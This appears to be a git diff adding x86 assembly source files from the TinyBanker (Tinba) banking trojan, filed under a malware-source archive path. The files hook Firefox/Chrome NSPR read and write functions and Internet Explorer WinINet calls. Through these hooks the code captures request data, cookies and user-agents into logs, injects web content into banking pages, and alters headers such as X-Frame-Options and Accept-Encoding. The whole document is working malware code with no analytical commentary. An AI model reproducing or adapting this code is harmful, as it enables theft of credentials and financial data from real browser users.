+FixLen endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/GrabBrief.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/GrabBrief.inc new file mode 100644 index 0000000..c7bed61 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/GrabBrief.inc @@ -0,0 +1,84 @@ + +.code + +;; ==================================================================================================== ;; +;; GrabBrief - fold method, protocol and request string of Firefox & Chrome browsers ;; +;; Return: 0 - failed to get buffer ;; +;; !0 - success, size of ;; +;; ==================================================================================================== ;; +GrabBrief proc uses ecx edx edi esi p1, p2, p3 : dword + + invokx &ArrayKeyBuff[ebx], lpSendBuffersArray[ebx], p1 + jmpz eax, @ret ;; failed to get buffer + mov edi, [eax+4] ;; ptr to data with its len in 1st dword + + + ;; method + mov ecx, 4 ;; method len + mov esi, p2 ;; headers buffer + cmp dword ptr[esi], " TEG" + je @F + cmp dword ptr[esi], "TSOP" + jne @ret + cmp byte ptr[esi+4], " " + jne @ret + inc ecx ;; method len + +@@: mov edx, edi ;; store ptr to data with its len in 1st dword + add edi, 4 ;; ptr to buffer start + rep movsb ;; copy method + + + ;; protocol + mov eax, "ptth" + stosd ;; copy protocol + mov ecx, p1 ;; PRFileDesc + mov eax, [ecx+20] ;; PRDescIdentity + cmp eax, -3 ;; PR_IO_LAYER_HEAD + jne @F + mov eax, [ecx+8] ;; PRFileDesc *lower + mov eax, [eax+20] +@@: jmpz eax, @F + mov al, "s" + stosb ;; add protocol +@@: mov eax, "//:" + stosd ;; finish protocol + dec edi + + + ;; host + invokx &StrIPos[ebx], p2, p3, "\r\nHost: ", 8 + jmpz eax, @F + mov ecx, esi ;; store start of url ptr + lea esi, [eax+8] ;; host name ptr + mov eax, p2 + add eax, p3 + sub eax, esi + invokx &StrIPos[ebx], esi, eax, "\r\n", 2 + sub eax, esi ;; host name len + xchg ecx, eax + rep movsb ;; copy host + mov esi, eax ;; restore start of url ptr + + + ;; url +@@: mov eax, p2 + add eax, p3 + sub eax, esi + invokx &StrIPos[ebx], esi, eax, " ", 1 + sub eax, esi + mov ecx, eax + rep movsb ;; copy url + mov ax, 0A0Dh + stosw ;; copy \r\n + + + ;; save data len + lea eax, [edi-4] + sub eax, edx + mov [edx], eax + +@ret: + ret +GrabBrief endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/hPR_Close.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/hPR_Close.inc new file mode 100644 index 0000000..0b6965f --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/hPR_Close.inc @@ -0,0 +1,23 @@ + +.code + +;; ==================================================================================================== ;; +;; hPR_Close is a PR_Close handler procedure of Firefox & Chrome browsers ;; +;; ==================================================================================================== ;; +hPR_Close proc p1 : dword + + push ebx + GetBaseDelta ebx + invokx &ArrayKeyDel[ebx], lpSockHandlesArray[ebx], p1 + invokx &ArrayKeyDel[ebx], lpSendBuffersArray[ebx], p1 + invokx &ArrayKeyDel[ebx], lpReadBuffersArray[ebx], p1 + mov eax, ebx + pop ebx + + + invokx _PR_Close[eax], p1 + add esp, 4 + leave + retn +hPR_Close endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/hPR_Read.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/hPR_Read.inc new file mode 100644 index 0000000..981b35e --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/hPR_Read.inc @@ -0,0 +1,157 @@ + +.code + +;; ==================================================================================================== ;; +;; hPR_Read is a PR_Read handler procedure of Firefox & Chrome browsers ;; +;; ==================================================================================================== ;; +hPR_Read proc p1, p2, p3: dword + local lpData : dword + local myp2 : dword + local myp3 : dword + + + + mov eax, p1 ;; PRFileDesc + mov eax, [eax] ;; PRIOMethods + mov eax, [eax] ;; PRDescType + + cmp eax, 2 ;; PR_DESC_FILE = 1 + je @F ;; PR_DESC_SOCKET_TCP = 2 + cmp eax, 4 ;; PR_DESC_SOCKET_UDP = 3 + je @F ;; PR_DESC_LAYERED = 4 + + + GetBaseDelta eax + invokx _PR_Read[eax], p1, p2, p3 + add esp, 12 + leave + retn + + +;; ================================================== ;; +@@: pushad + GetBaseDelta ebx + + invokx &ArrayKeyPos[ebx], lpSockHandlesArray[ebx], p1 + jmpnz eax, @giveback ;; give back flag is set + + + invokx &ArrayKeyPos[ebx], lpReadBuffersArray[ebx], p1 + jmpnz eax, @collect ;; continue collecting + + + invokx &GetInject[ebx], p1, 0 + jmpz eax, @F ;; collecting not need + + + invokx &ArrayKeyBuff[ebx], lpReadBuffersArray[ebx], p1 + jmpnz eax, @collect ;; alloc collecting buffer + + +@@: popad + GetBaseDelta eax + invokx _PR_Read[eax], p1, p2, p3 + add esp, 12 +pushad + GetBaseDelta ebx + invokx &FixHeaders[ebx], p2, eax +popad + leave + retn + + +;; ================================================== ;; +@collect: + mov esi, [eax+4] ;; ptr to data len + mov lpData, esi ;; ptr to data with its len in 1st dword + lea eax, [esi+4] ;; ptr to data start + add eax, [esi] ;; ptr to data end + mov myp2, eax ;; ptr to end of already grabbed data + + +@readmore: + mov eax, BUFFERLEN-RESERVE + sub eax, [esi] + jmpz eax, @webinject ;; if no more space in buffer to collect data + mov myp3, eax + +popad + GetBaseDelta eax + invokx _PR_Read[eax], p1, myp2, myp3 + add esp, 12 +pushad + + mov myp3, eax ;; save answer code + jmple eax, @end + + + add myp2, eax ;; ptr to end of already grabbed data + mov esi, lpData ;; ptr to data with its len in 1st dword + add [esi], eax ;; new data len + + + GetBaseDelta ebx + invokx &CheckEOF[ebx], lpData + jmpz eax, @readmore ;; not EOF + + + +@webinject: + invokx &ArrayKeyPos[ebx], lpSockHandlesArray[ebx], 0 + mov ecx, p1 + mov [eax], ecx ;; set give back flag + + +;DEBUG "RAW", lpData, lpData + mov esi, lpData + lodsd ;; data len + invokx &FixHeaders[ebx], esi, eax +;DEBUG "HEADERS", lpData, lpData + invokx &FixChunk[ebx], lpData +;DEBUG "FIXED", lpData, lpData + invokx &FFWebInject[ebx], p1, lpData +;DEBUG "INJCTED", lpData, lpData + invokx &FixLen[ebx], lpData +;DEBUG "FINALLY", lpData, lpData + + + +@giveback: + invokx &ArrayKeyPos[ebx], lpReadBuffersArray[ebx], p1 + mov esi, [eax+4] ;; ptr to data len + lea edi, [esi+4] ;; ptr to data start + + + ;; return data to caller + mov ecx, [esi] ;; data len + cmp ecx, p3 + jbe @F + mov ecx, p3 +@@: invokx &strcpyn[ebx], p2, edi, ecx + mov myp3, ecx + + + sub [esi], ecx ;; new data len + mov eax, [esi] ;; new data len + jmpz eax, @endgive ;; no more data to give back + + + ;; shift data + add ecx, edi ;; ptr to new data start + invokx &strcpyn[ebx], edi, ecx, eax + jmp @end + + +@endgive: + invokx &ArrayKeyDel[ebx], lpSockHandlesArray[ebx], p1 ;; reset give back flag + invokx &ArrayKeyDel[ebx], lpReadBuffersArray[ebx], p1 ;; delete collect buffer + + +@end: +popad + mov eax, myp3 + + leave + retn +hPR_Read endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/hPR_Write.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/hPR_Write.inc new file mode 100644 index 0000000..246e08e --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/hPR_Write.inc @@ -0,0 +1,161 @@ + +.code + +;; ==================================================================================================== ;; +;; hPR_Write is a PR_Write handler procedure of Firefox & Chrome browsers ;; +;; ==================================================================================================== ;; +hPR_Write proc p1, p2, p3 : dword + + mov eax, p1 ;; PRFileDesc + mov eax, [eax] ;; PRIOMethods + mov eax, [eax] ;; PRDescType + + cmp eax, 2 ;; PR_DESC_FILE = 1 + je @F ;; PR_DESC_SOCKET_TCP = 2 + cmp eax, 4 ;; PR_DESC_SOCKET_UDP = 3 + je @F ;; PR_DESC_LAYERED = 4 + + +@real: + GetBaseDelta eax + invokx _PR_Write[eax], p1, p2, p3 + add esp, 12 + leave + retn + + +@@: pushad + GetBaseDelta ebx + invokx &GrabBrief[ebx], p1, p2, p3 + jmpz eax, @real ;; headers not grabbed + + +;; ================================================== ;; +;; modify headers only if inject needed + invokx &GetInject[ebx], p1, 0 + jmpz eax, @varswork ;; not modify + + + invokx &StrIPos[ebx], p2, p3, "\r\nIf-Modified-Since: ", 21 + jmpz eax, @F ;; not found + add eax, 21 + invokx &strcpyn[ebx], eax, "Thu, 01 Jan 1970 00:00:00 GMT", 29 + + +@@: invokx &StrIPos[ebx], p2, p3, "\r\nAccept-Encoding: ", 19 + jmpz eax, @varswork ;; not found + lea edi, [eax+19] + mov eax, p2 + add eax, p3 + sub eax, edi + invokx &StrIPos[ebx], edi, eax, "\r\n", 2 + mov ecx, eax + invokx &strcpyn[ebx], edi, "identity", 8 + add edi, 8 + sub ecx, edi + mov al, " " + rep stosb + + +@varswork: +;; ================================================== ;; +;; grab vars from contents + + +;; ================================================== ;; +;; delete vars from contents +comment ~ + invokx &StrIPos[ebx], p2, p3, "display=", 8 + jmpz eax, @write + mov edi, eax + mov eax, p2 + add eax, p3 + sub eax, edi + invokx &StrIPos[ebx], edi, eax, "&", 1 + mov ecx, eax + sub ecx, edi + mov al, "&" + rep stosb +~ + + + + + +;; ================================================== ;; +@write: +popad + + GetBaseDelta eax + invokx _PR_Write[eax], p1, p2, p3 + add esp, 12 + jmple eax, @1 ;; grab only success requests + +pushad + mov ecx, eax ;; save send len + GetBaseDelta ebx + invokx &IsGrabTerm[ebx], p1 + jmpz eax, @F + invokx &InLog[ebx], p2, ecx, HTTPS_REQUEST +@@: +popad + +@1: leave + retn +hPR_Write endp + + +comment ~ + +PRInt32 PR_Write( + PRFileDesc *fd, + const void *buf, + PRInt32 amount); + + +struct PRFileDesc { + PRIOMethods *methods; + PRFilePrivate *secret; + PRFileDesc *lower, *higher; + void (*dtor)(PRFileDesc *fd); + PRDescIdentity identity; +}; + +typedef struct PRFileDesc PRFileDesc; + + +struct PRIOMethods { + PRDescType file_type; + PRCloseFN close; + PRReadFN read; + PRWriteFN write; + PRAvailableFN available; + PRAvailable64FN available64; + PRFsyncFN fsync; + PRSeekFN seek; + PRSeek64FN seek64; + PRFileInfoFN fileInfo; + PRFileInfo64FN fileInfo64; + PRWritevFN writev; + PRConnectFN connect; + PRAcceptFN accept; + PRBindFN bind; + PRListenFN listen; + PRShutdownFN shutdown; + PRRecvFN recv; + PRSendFN send; + PRRecvfromFN recvfrom; + PRSendtoFN sendto; + PRPollFN poll; + PRAcceptreadFN acceptread; + PRTransmitfileFN transmitfile; + PRGetsocknameFN getsockname; + PRGetpeernameFN getpeername; + PRGetsockoptFN getsockopt; + PRSetsockoptFN setsockopt; +}; + +typedef struct PRIOMethods PRIOMethods; + +~ + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/GetInject.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/GetInject.inc new file mode 100644 index 0000000..f5da49b --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/GetInject.inc @@ -0,0 +1,44 @@ + +.code + +;; ==================================================================================================== ;; +;; GetInject - ;; +;; __in dwHandle - stored connection handle ;; +;; __in lpInjPtr - pointer in webinjects data search from ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to options ;; +;; ecx - len of options ;; +;; ==================================================================================================== ;; +GetInject proc uses edx edi esi dwHandle, lpInjPtr : dword + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edx, [eax+4] ;; ptr to connection brief + + + mov esi, lpWebInjectsData[ebx] + lodsd + mov edi, lpInjPtr + jmpnz edi, @F + mov edi, esi +@@: add esi, eax ;; end ptr + + +@nextseturl: + mov eax, esi + sub eax, edi ;; len + invokx &StrIPos[ebx], edi, eax, "\nset_url ", 9 + jmpz eax, @ret + lea edi, [eax+9] ;; url mask ptr + + + mov eax, esi + sub eax, edi ;; len + invokx &Compare[ebx], edx, edi, eax + jmpz eax, @nextseturl + +@ret: + ret +GetInject endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/GrabIEHeaders.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/GrabIEHeaders.inc new file mode 100644 index 0000000..2684ac9 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/GrabIEHeaders.inc @@ -0,0 +1,103 @@ + +.code + +;; ==================================================================================================== ;; +;; GrabIEHeaders - ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +GrabIEHeaders proc uses ecx edx edi esi p1, p4, p5 : dword + local dwIndex : dword + local dwLen : dword + local hParent : dword + + + + invokx &ArrayKeyBuff[ebx], lpSendBuffersArray[ebx], p1 + jmpz eax, @err ;; failed to alloc buffer + mov esi, [eax+4] ;; ptr to data len + lea edi, [esi+4] ;; ptr to data start + + + ;; Get request method + mov dwLen, 8 + mov dwIndex, 0 + invokx _HttpQueryInfoA[ebx], p1, HTTP_QUERY_REQUEST_METHOD, edi, &dwLen, &dwIndex + jmpz eax, @ret + + add edi, dwLen + mov al, " " + stosb + + + ;; Get URL + mov dwLen, 8192 + invokx _InternetQueryOptionA[ebx], p1, INTERNET_OPTION_URL, edi, &dwLen + jmpz eax, @ret + + + ;; Attach Cookie + mov edx, edi ;; pointer to url + add edi, dwLen + add edi, 10 ;; reserve space for "\r\nCookie: " string + mov dwLen, 8192 + invokx _InternetGetCookieA[ebx], edx, 0, edi, &dwLen + sub edi, 10 + jmpz eax, @F + + mov ax, 0A0Dh + stosw + mov eax, "kooC" + stosd + mov eax, " :ei" + stosd + add edi, dwLen + dec edi ;; exclude nullbyte + + + ;; Attach User-Agent +@@: mov dwLen, 4 + invokx _InternetQueryOptionA[ebx], p1, INTERNET_OPTION_PARENT_HANDLE, &hParent, &dwLen + jmpz eax, @F + mov dwLen, 4 + invokx _InternetQueryOptionA[ebx], hParent, INTERNET_OPTION_PARENT_HANDLE, &hParent, &dwLen + jmpz eax, @F + add edi, 14 ;; reserve space for "\r\nUser-Agent: " string + mov dwLen, 260 + invokx _InternetQueryOptionA[ebx], hParent, INTERNET_OPTION_USER_AGENT, edi, &dwLen + sub edi, 14 + jmpz eax, @F + + mov ax, 0A0Dh + stosw + mov eax, "resU" + stosd + mov eax, "egA-" + stosd + mov eax, " :tn" + stosd + add edi, dwLen + + + ;; Attach optional data +@@: cmp p5, 0 + je @F + mov eax, 0A0D0A0Dh + stosd + invokx &strcpyn[ebx], edi, p4, p5 + add edi, p5 + + + ;; Len +@@: sub edi, esi + sub edi, 4 + mov [esi], edi + + +@ret: + mov eax, esi + +@err: + ret +GrabIEHeaders endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/InternetStatusCallback.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/InternetStatusCallback.inc new file mode 100644 index 0000000..52aed14 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/InternetStatusCallback.inc @@ -0,0 +1,55 @@ + +.code + +;; ==================================================================================================== ;; +;; StatusCallback is a IE StatusCallback handler procedure ;; +;; When status is INTERNET_STATUS_REQUEST_COMPLETE ;; +;; search current handle in status wait array and delete it ;; +;; ==================================================================================================== ;; +InternetStatusCallback proc uses ebx hInternet, dwContext, dwInternetStatus, lpvStatusInformation, dwStatusInformationLength : dword + + GetBaseDelta ebx + + cmp dwInternetStatus, INTERNET_STATUS_REQUEST_COMPLETE + jne @real + + + invokx &ArrayKeyDel[ebx], lpSockHandlesArray[ebx], hInternet + jmp @ret + + +@real: + invokx lpRealCallbackProc[ebx], hInternet, dwContext, dwInternetStatus, lpvStatusInformation, dwStatusInformationLength + +@ret: + ret +InternetStatusCallback endp + + + +;; ==================================================================================================== ;; +;; Pending - ;; +;; ;; +;; ==================================================================================================== ;; +Pending proc uses ecx hInternet + + mov ecx, hInternet + + invokx &ArrayKeyPos[ebx], lpSockHandlesArray[ebx], ecx + jmpz eax, @end + + +@@: nop + cmp [eax], ecx + je @B + + +@end: + invokx &ArrayKeyPos[ebx], lpSockHandlesArray[ebx], 0 + mov [eax], ecx + + ret +Pending endp + + lpRealCallbackProc dd 0 + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpEndRequestA.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpEndRequestA.inc new file mode 100644 index 0000000..130b466 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpEndRequestA.inc @@ -0,0 +1,28 @@ + +.code + +;; ==================================================================================================== ;; +;; hHttpEndRequest is a HttpEndRequestA and HttpEndRequestW handler procedure ;; +;; Search current handle in array of send handles ;; +;; If handle found then unset array cell and create thread for log sending ;; +;; ==================================================================================================== ;; +hHttpEndRequest proc uses esi ebx p1, p2, p3, p4 : dword + + GetBaseDelta ebx + + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], p1 + jmpz eax, @real + + ;; Handle found, send log + mov esi, [eax+4] ;; esi - pointer to data & its len (in 1-st dword) + lodsd + invokx &InLog[ebx], esi, eax, HTTPS_REQ + + +@real: + invokx _HttpEndRequestA[ebx], p1, p2, p3, p4 + + ret +hHttpEndRequest endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpQueryInfoA.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpQueryInfoA.inc new file mode 100644 index 0000000..23dd958 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpQueryInfoA.inc @@ -0,0 +1,26 @@ + +.code + +;; ==================================================================================================== ;; +;; hHttpQueryInfoA is a HttpQueryInfoA handler procedure ;; +;; ==================================================================================================== ;; +hHttpQueryInfoA proc uses ebx p1, p2, p3, p4, p5 : dword + + GetBaseDelta ebx + + + + cmp p2, 0FFFFh + jne @real + invokx &StrIPos[ebx], p3, 15, "X-Frame-Options", 15 + jmpz eax, @real + xor eax, eax + jmp @ret + + +@real: + invokx _HttpQueryInfoA[ebx], p1, p2, p3, p4, p5 +@ret: + ret +hHttpQueryInfoA endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpSendRequestExW.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpSendRequestExW.inc new file mode 100644 index 0000000..8667fdb --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpSendRequestExW.inc @@ -0,0 +1,17 @@ + +.code + +;; ==================================================================================================== ;; +;; hHttpSendRequestExW is a HttpSendRequestExW handler procedure ;; +;; ==================================================================================================== ;; +hHttpSendRequestExW proc uses ebx p1, p2, p3, p4, p5 : dword + + GetBaseDelta ebx + + invokx &GrabIEHeaders[ebx], p1, 0, 0 + + invokx _HttpSendRequestExW[ebx], p1, p2, p3, p4, p5 + + ret +hHttpSendRequestExW endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpSendRequestW.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpSendRequestW.inc new file mode 100644 index 0000000..277957c --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpSendRequestW.inc @@ -0,0 +1,64 @@ + +.code + +;; ==================================================================================================== ;; +;; hHttpSendRequest is a HttpSendRequestA and HttpSendRequestW handler procedure ;; +;; ==================================================================================================== ;; +hHttpSendRequest proc uses esi p1, p4, p5 : dword + + invokx &GrabIEHeaders[ebx], p1, p4, p5 + jmpz eax, @real + mov esi, eax + + + invokx &GetInject[ebx], p1, 0 + jmpz eax, @F + + invokx _HttpAddRequestHeadersA[ebx], p1, "Accept-Encoding: identity\r\n", -1, HTTP_ADDREQ_FLAG_REPLACE or HTTP_ADDREQ_FLAG_ADD + invokx _HttpAddRequestHeadersA[ebx], p1, "If-Modified-Since: Thu, 01 Jan 1970 00:00:00 GMT\r\n", -1, HTTP_ADDREQ_FLAG_REPLACE + invokx _HttpAddRequestHeadersA[ebx], p1, "TE: identity\r\n", -1, HTTP_ADDREQ_FLAG_REPLACE + + +@@: invokx &IsGrabTerm[ebx], p1 + jmpz eax, @real + + lodsd + invokx &InLog[ebx], esi, eax, HTTPS_REQUEST + + +@real: + ret +hHttpSendRequest endp + + + +;; ==================================================================================================== ;; +;; hHttpSendRequestA is a HttpSendRequestA handler procedure ;; +;; ==================================================================================================== ;; +hHttpSendRequestA proc uses ebx p1, p2, p3, p4, p5 : dword + + GetBaseDelta ebx + + invokx _HttpAddRequestHeadersA[ebx], p1, p2, p3, HTTP_ADDREQ_FLAG_REPLACE or HTTP_ADDREQ_FLAG_ADD + invokx &hHttpSendRequest[ebx], p1, p4, p5 + invokx _HttpSendRequestA[ebx], p1, 0, 0, p4, p5 + + ret +hHttpSendRequestA endp + + + +;; ==================================================================================================== ;; +;; hHttpSendRequestW is a HttpSendRequestW handler procedure ;; +;; ==================================================================================================== ;; +hHttpSendRequestW proc uses ebx p1, p2, p3, p4, p5 : dword + + GetBaseDelta ebx + + invokx _HttpAddRequestHeadersW[ebx], p1, p2, p3, HTTP_ADDREQ_FLAG_REPLACE or HTTP_ADDREQ_FLAG_ADD + invokx &hHttpSendRequest[ebx], p1, p4, p5 + invokx _HttpSendRequestW[ebx], p1, 0, 0, p4, p5 + + ret +hHttpSendRequestW endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetCloseHandle.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetCloseHandle.inc new file mode 100644 index 0000000..ba4e77f --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetCloseHandle.inc @@ -0,0 +1,19 @@ + +.code + +;; ==================================================================================================== ;; +;; hInternetCloseHandle is a InternetCloseHandle handler procedure ;; +;; ==================================================================================================== ;; +hInternetCloseHandle proc uses ebx p1 : dword + + GetBaseDelta ebx + + invokx &ArrayKeyDel[ebx], lpSockHandlesArray[ebx], p1 + invokx &ArrayKeyDel[ebx], lpSendBuffersArray[ebx], p1 + invokx &ArrayKeyDel[ebx], lpReadBuffersArray[ebx], p1 + + invokx _InternetCloseHandle[ebx], p1 + + ret +hInternetCloseHandle endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetQueryDataAvailable.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetQueryDataAvailable.inc new file mode 100644 index 0000000..7572af1 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetQueryDataAvailable.inc @@ -0,0 +1,30 @@ + +.code + +;; ==================================================================================================== ;; +;; hInternetQueryDataAvailable is a InternetQueryDataAvailable handler procedure ;; +;; ==================================================================================================== ;; +hInternetQueryDataAvailable proc uses ebx ecx p1, p2, p3, p4 : dword + + GetBaseDelta ebx + + + invokx &ArrayKeyPos[ebx], lpReadBuffersArray[ebx], p1 + jmpz eax, @real + + mov eax, [eax+4] ;; ptr to data buff with its len in 1st dword + mov ecx, [eax] ;; data len + mov eax, p2 ;; ptr to lpdwNumberOfBytesAvailable + mov [eax], ecx ;; return data len to caller proc + xor eax, eax + inc eax + jmp @ret + + +@real: + invokx _InternetQueryDataAvailable[ebx], p1, p2, p3, p4 + +@ret: + ret +hInternetQueryDataAvailable endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetReadFile.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetReadFile.inc new file mode 100644 index 0000000..4639767 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetReadFile.inc @@ -0,0 +1,129 @@ + +.code + +;; ==================================================================================================== ;; +;; hInternetReadFile is a InternetReadFile handler procedure ;; +;; ==================================================================================================== ;; +hInternetReadFile proc uses ebx ecx edi esi p1, p2, p3, p4 : dword + local dwAvailable : dword + local dwBytesRead : dword + + + + GetBaseDelta ebx + + + invokx &ArrayKeyPos[ebx], lpReadBuffersArray[ebx], p1 + jmpnz eax, @giveback ; give back + + + mov eax, lpWebInjectsData[ebx] + add eax, 4 ;; injects data ptr + invokx &GetInject[ebx], p1, eax + jmpz eax, @real ;; collecting not need + + + invokx &ArrayKeyBuff[ebx], lpReadBuffersArray[ebx], p1 + jmpz eax, @real ;; failed to alloc collecting buffer + + mov esi, [eax+4] ;; ptr to data len + lea edi, [esi+4] ;; ptr to data start + + invokx &ArrayKeyPos[ebx], lpSockHandlesArray[ebx], 0 + mov ecx, p1 + mov [eax], ecx + + invokx _InternetSetStatusCallback[ebx], p1, &InternetStatusCallback[ebx] + mov lpRealCallbackProc[ebx], eax + + m2m dwAvailable, p3 + jmp @readmore + + +@available: + invokx _InternetQueryDataAvailable[ebx], p1, &dwAvailable, 0, 0 + jmpnz eax, @F + invokx &Pending[ebx], p1 ;; ERROR_IO_PENDING + jmp @available +@@: + + cmp dwAvailable, 0 + je @webinject ;; no more data available + + +@readmore: + mov ecx, BUFFERLEN-RESERVE + sub ecx, [esi] + jmpz ecx, @webinject ;; if no more space in buffer to collect data + cmp ecx, dwAvailable + jae @F ;; if enought space in buff + mov dwAvailable, ecx ;; not enought space in buff + + +@@: mov dwBytesRead, 0 + invokx _InternetReadFile[ebx], p1, edi, dwAvailable, &dwBytesRead + jmpnz eax, @F + invokx &Pending[ebx], p1 ;; ERROR_IO_PENDING + jmp @B +@@: + + mov eax, dwBytesRead + add [esi], eax ;; new data len + add edi, eax ;; shift data end pointer + sub dwAvailable, eax + cmp dwAvailable, 0 + jne @readmore ;; read more available data + + jmp @available ;; get available data len + + +@webinject: + invokx &WebInject[ebx], p1, esi + + +@giveback: + invokx &ArrayKeyPos[ebx], lpReadBuffersArray[ebx], p1 + mov esi, [eax+4] ;; ptr to data len + lea edi, [esi+4] ;; ptr to data start + + + ;; return data to caller + mov ecx, [esi] ;; data len + cmp ecx, p3 + jbe @F + mov ecx, p3 +@@: invokx &strcpyn[ebx], p2, edi, ecx + mov eax, p4 ;; lpdwNumberOfBytesRead + mov [eax], ecx + + + sub [esi], ecx ;; new data len + mov eax, [esi] ;; new data len + jmple eax, @endgive ;; no more data to give back + + + ;; shift data + add ecx, edi ;; ptr to new data start + invokx &strcpyn[ebx], edi, ecx, eax + jmp @end + + +@endgive: + invokx &ArrayKeyDel[ebx], lpSockHandlesArray[ebx], p1 + invokx &ArrayKeyDel[ebx], lpReadBuffersArray[ebx], p1 + invokx _InternetSetStatusCallback[ebx], p1, lpRealCallbackProc[ebx] + + +@end: + xor eax, eax + inc eax + jmp @ret + + +@real: + invokx _InternetReadFile[ebx], p1, p2, p3, p4 + +@ret: + ret +hInternetReadFile endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetReadFileExA.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetReadFileExA.inc new file mode 100644 index 0000000..c057727 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetReadFileExA.inc @@ -0,0 +1,19 @@ + + +;; ==================================================================================================== ;; +;; hInternetReadFileExA is a InternetReadFileExA handler procedure ;; +;; ==================================================================================================== ;; +hInternetReadFileExA proc uses ebx edx p1, p2, p3, p4 : dword + + GetBaseDelta ebx + + invokx _InternetReadFileExA[ebx], p1, p2, p3, p4 + + mov edx, p2 + assume edx : ptr INTERNET_BUFFERS + DEBUG [edx].lpvBuffer, 0, 0 + assume edx : nothing + + ret +hInternetReadFileExA endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetWriteFile.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetWriteFile.inc new file mode 100644 index 0000000..3cda8b6 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetWriteFile.inc @@ -0,0 +1,57 @@ + +.code + +;; ==================================================================================================== ;; +;; hInternetWriteFile is a InternetWriteFile handler procedure ;; +;; Search current handle in array of send handles ;; +;; If handle found then grab currently send data ;; +;; ==================================================================================================== ;; +hInternetWriteFile proc uses ecx ebx esi edi p1, p2, p3, p4 : dword + local MyEAX : dword + + + + GetBaseDelta ebx + + invokx _InternetWriteFile[ebx], p1, p2, p3, p4 + jmpnz eax, @F + ret + + +@@: mov MyEAX, eax + + + invokx &IsGrabTerm[ebx], p1 + jmpz eax, @ret + + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], p1 + jmpz eax, @ret ;; handle not found + + mov esi, [eax+4] ;; pointer to buff with previous grabbed data & its len in 1-st dword + + mov eax, [esi] ;; len of previous grabbed data + lea edi, [esi+eax+4] ;; pointer to end of previous grabbed data + + + + ;; check for data buff len limit + mov ecx, 12*KBYTE + sub ecx, eax ;; space left in buffer + jmpz ecx, @ret ;; no more space + mov eax, p4 + cmp ecx, [eax] + jbe @F + mov ecx, [eax] ;; ecx - len of data for grab + + + ;; grab +@@: add [esi], ecx ;; new len + invokx &strcpyn[ebx], edi, p2, ecx + + +@ret: + mov eax, MyEAX + ret +hInternetWriteFile endp + diff --git 